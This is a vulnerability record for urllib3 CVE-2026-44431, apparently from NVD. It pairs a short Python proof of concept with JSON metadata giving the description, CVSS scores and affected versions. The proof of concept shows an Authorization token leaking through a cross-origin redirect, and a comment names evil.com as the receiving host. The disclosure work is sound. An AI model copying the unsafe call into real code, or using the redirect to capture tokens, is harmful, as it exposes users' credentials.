CVE-2026-44431

import urllib3 # This PoC demonstrates the vulnerable configuration. # It requires a server that redirects to a different origin to observe the leak. # Create a ProxyManager instance pm = urllib3.ProxyManager('http://proxy:8080') # Target URL that will perform a cross-origin redirect (e.g., 302 to http://evil.com) target_url = 'http://trusted-site.com/redirect-endpoint' # Sensitive header that should not be leaked headers = {'Authorization': 'Bearer secret_token_123'} # Vulnerable call: using assert_same_host=False # In vulnerable versions (< 2.7.0), the Authorization header will be sent to the redirect target. try: resp = pm.connection_from_url(target_url).urlopen( 'GET', target_url, headers=headers, assert_same_host=False, redirect=True ) print(f"Status: {resp.status}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-44431", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:57.150", "lastModified": "2026-05-14T13:56:27.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "urllib3 is an HTTP client library for Python. From 1.23 to before 2.7.0, cross-origin redirects followed from the low-level API via ProxyManager.connection_from_url().urlopen(..., assert_same_host=False) still forward these sensitive headers. This vulnerability is fixed in 2.7.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:urllib3:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.23", "versionEndExcluding": "2.7.0", "matchCriteriaId": "FEC8DBA3-7985-45C5-A453-F83EC4BD18DA"}]}]}], "references": [{"url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}